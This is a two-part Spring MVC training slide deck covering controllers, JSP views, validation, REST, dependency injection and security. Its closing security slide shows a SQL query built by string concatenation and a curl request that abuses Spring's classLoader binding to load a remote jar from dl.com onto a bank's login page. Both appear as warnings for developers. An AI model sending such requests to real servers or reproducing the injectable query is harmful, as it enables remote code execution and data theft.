Spring MVC

Introduction

Jan Ypma

http://jypma.github.io
ypma@lundogbendsen.dk

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Spring MVC Demo Application

A quick refresher

Remind us again about:

  • Auto-wiring (@Autowire)
  • Aspect-Oriented Programming (Spring AOP)
    • Dynamic proxies
    • CGLib
  • Classpath scanning
  • JAXB (XML binding)

MVC Definitions

  • Model
    Structured information used / created on a page
  • View
    User interface for interacting with the model
  • Controller
    Logic binding model and view together

Spring MVC Architecture

  • Model
    Plain old Java classes (POJO)
    Per request or session
  • View
    Pluggable, typically JSP pages, Freemarker or Velocity
  • Controller
    Classpath-scanned @Controller-annotated classes
    Singletons

An example model class

Immutable (see advanced section)

					
@XmlRootElement(name = "TodoItem")
@XmlAccessorType(XmlAccessType.NONE)
public class TodoItem {
    public static TodoItem create(String title) {
        return new TodoItem(UUID.randomUUID(), title);
    }
    
    @XmlElement(name = "ID") private UUID id;
    @NotBlank @XmlElement(name = "Title") private String title;
    
    public String getTitle() { return title; }
    
    public UUID getId() { return id; }
    
    private TodoItem(UUID id, String title) { ... }
}

An example JSP view

Creating/editing a todo item 


<h3>Todo item</h3>
<form:form id="form" method="post" modelAttribute="item">
  <form:hidden path="id"/>

  <div>
    <form:label path="title">
      <spring:message code="item.title" />
    </form:label>
    <form:input path="title" placeholder="What needs to be done?" />
    <form:errors path="title" />
  </div>

  <div><button type="submit" class="btn">Save</button></div>
</form:form>

Supported view technologies

  • JSP (with JSTL and Spring MVC tag libraries)
    Popular and documented. Many initial quirks resolved in latest JSP versions. Usually combined with Sitemesh or Tiles for layout.
  • Velocity or Freemarker
    Embedded templating languages, Spring integration comes with simple layout engine.
  • Your own
    Just write an implementation of ViewResolver

An example controller


@Controller @RequestMapping("/todos") public class CreateTodoController {
    @ModelAttribute("item")
    public TodoItem item() { return TodoItem.empty(); }
    
    @RequestMapping(value="/create", method = GET)
    public String showCreate() { return "/todo/create"; }
    
    @RequestMapping(value="/create", method = POST)
    public String createFromForm(@Valid @ModelAttribute("item") TodoItem item,
                                 BindingResult result) {
        if (result.hasErrors()) { 
            return showCreate();
        } else {
            todoService.save(item.withId());
            return "redirect:/todos";            
        }
}   }

Controller arguments (types)

  • UriComponentsBuilder - to build up Location headers
  • InputStream, OutputStream - to get access to request and response streams
  • BindingResult - Will contain any validation errors of @Valid arguments
  • (annotated) Object - Model beans, url segments, ...

Controller arguments (annotations)

Return types for Controller methods

  • String - Logical view name to render (resolved by ViewResolver)
  • ModelAndView - Logical view to render, and a map of model beans
  • void - Custom output, e.g. by using OutputStream directly
  • @ResponseBody Object - Marshal object as XML or JSON

Java-based configuration

Java-based configuration

Advantages

  • Compiler will verify type and property correctness early on
  • Much more straightforward composition
  • Can rely on existing Java tooling for
    • Code completion
    • Refactoring
    • Unit testing

Internationalization and Localization

  • Have a LocaleResolver bean which picks the request Locale
  • Have one or more MessageSource beans with your translated texts
  • Use the JSP tag library to render messages 
    <spring:message code="item.title" />
  • Also available to the standard JSTL fmt: tag library (when using JstlView)

Let's look at some code

Advantages

Spring MVC

  • Gradual learning curve (until you reach the pixie dust magic)
  • Broad access to support and internet forums
  • Unified model for MVC and REST

Server-side MVC in general

  • Server-side handling: less browser quirks to deal with

Disadvantages

Spring MVC

  • Big. "It has become what it tried to replace."
  • Annotation / AOP / Proxy magic (e.g. transactions)
  • Choose between classpath scanning and XML hell

Server-side MVC in general

  • Statefulness provides challenges in scalability, deployability
  • Still need to deal with concurrency
  • Repetition due to redirect-after-post

A note about testing

  • Unit testing - Keep units small (one class), use frameworks like Mockito
  • Integration testing - Keep units big (whole system), use frameworks like WebDriver and embed Jetty
  • Stay away from "half a system" integration tests, e.g. SpringJUnit4ClassRunner or @WebAppConfiguration, even tough they're tempting.
    • My tests are green!
    • ...so what exactly did I just prove?

Securing Spring MVC with Spring Security

  • Separate project, independent of Spring MVC
  • Servlet filter protecting against e.g. CSRF or Session Fixation
  • Declarative security in several domains
    • URL patterns
    • JSR-250 @RolesAllowed annotation (recommended)
    • Custom Spring annotations
  • Java-based configuration from version 3.2
  • JSP tag library for conditional display

Thank you

Jan Ypma
ypma@lundogbendsen.dk

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Spring MVC

Advanced

Jan Ypma
ypma@lundogbendsen.dk

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Shared mutable state

  • Consider a large object tree (XML document, customer data) 
    
class Customer {
  private String name;
  public String getName() { return name; }
  public void setName (String name) { this.name = name; }
  
  /* many more fields and sub-objects */
}
  • Just getting this from storage into heap takes 300ms
  • Many concurrent requests read from it, only few affect changes to it

Cache it!
... but what about those setters?

Shared mutable state

  • Given our Customer has at least the following fields: 
    
class Customer {
  private String name;
  private UUID id;
  
  /* getters and setters for all fields */
}
  • Consider the following method signature: 
    public void save (Customer c);
  • Quiz: what are the side-effects of invoking this method?

Immutability

  • Making your DTO immutable
    • gives the object holder uses beyond the one point in time
    • allows for it to be safely passed to other threads
    • allows for it to be safely cached
  • Want to allow changes a DTO? Just declare a method 
    
class Customer {
  public Customer changeName(String first, String last) {
    return new Customer (first, last, id, /* ... other ... */ );
  }
}

Request lifecycle

  1. Request arrives, servlet picks controller
  2. Controller returns model and view name
  3. ViewResolver instantiates view from name
  4. View renders actual response

Validation

Integration between Spring MVC and Hibernate validator

  • Declarative, recursive validation, e.g. @Max(42), @NotEmpty, @EMail, ...
  • Automatically invoked for @Valid controller methods
  • Integrated into Spring's messages and JSP tag library 
    NotBlank.item.title = Todo item must have a title
    <form:errors path="title" />

Validation in controller methods

  • Define a @Valid argument: throws MethodArgumentNotValidException on validation failure 
    public String handleCreate(@Valid Item item);
  • Define also a BindingResult argument: receive validation errors 
    public String handleCreate(@Valid Item item, BindingResult errors);
    • This variant is typically used for forms, so the original view can be rendered on errors.

Custom Validation

1. Define your validation annotation


@Target( { METHOD, FIELD } )
@Retention(RUNTIME)
@Constraint(validatedBy = ExistingItemIDValidator.class)
public @interface ExistingItemID {
    String message() default "{nl.ypmania.demo.ExistingItemID}";
    
    Class<?>[] groups() default {};
    
    Class<? extends Payload>[] payload() default {};
}

Custom Validation

2. Write the implementation


public class ExistingItemIDValidator 
       implements ConstraintValidator<ExistingItemID, UUID> {
    @Autowired
    private ItemService itemService;

    @Override
    public void initialize(ExistingItemID constraintAnnotation) { }

    @Override
    public boolean isValid(UUID id, ConstraintValidatorContext context) {
        return (id == null) ? true : itemService.exists(id);
    }
}

REST Services with Spring MVC

  • Set up JAXB (for XML) and Jackson (for JSON) in your config
  • Annotate your DTO's with JAXB annotations
  • Just declare controller methods like with forms
  • Validation framework

REST Demo

Spring autowiring variants

  • Field injection 
    
@Autowired private ItemService itemService;
    • Least amount of code
    • Dependency completely hidden from compiler and tests
    • Invites circular references (buggy, esp. with AOP)

Spring autowiring variants

  • Setter injection 
    
private ItemService itemService;

@Autowired 
public void setItemService(ItemService service) {
    this.itemService = service;
}
    • Dependency visible in tests, but not required
    • Have to choose between public (anyone can change it) or package-private (only tests in same package can set up class)
    • Invites circular references
    • A little more code

Spring autowiring variants

  • Constructor injection 
    
private ItemService itemService;

@Autowired 
public MyService (ItemService service) {
    this.itemService = service;
}
    • Prevents (most) circular references
    • Hard dependencies declared in the type
    • Easier to test (compiler will help you)

Cross-cutting request concerns

Two easy ways to add processing around requests

  1. Spring HandlerInterceptor
    • Register in your WebConfig.addInterceptors(...)
    • Callbacks before and after request
    • Limited to handling within spring MVC
  2. Standard servlet filter
    • Override WebInitializer.getServletFilters()
    • Wraps the actual invocation, so you can do try / catch
    • Can integrate Spring to other frameworks

Other security concerns

  • SQL Injection 
    
jdbc.execute("SELECT FROM USERS WHERE name = '" + name +
             "' AND password = '" + password + "'");
  • Denial of service attacks (need not be an attack, maybe you're just popular)
  • Arbitrary code execution due to security bugs in Spring itself 
    
curl --data "class.classLoader.URLs[0]=jar:http://dl.com/dino.jar!/" \
      http://mybank.com/login

Thank you

Jan Ypma
ypma@lundogbendsen.dk

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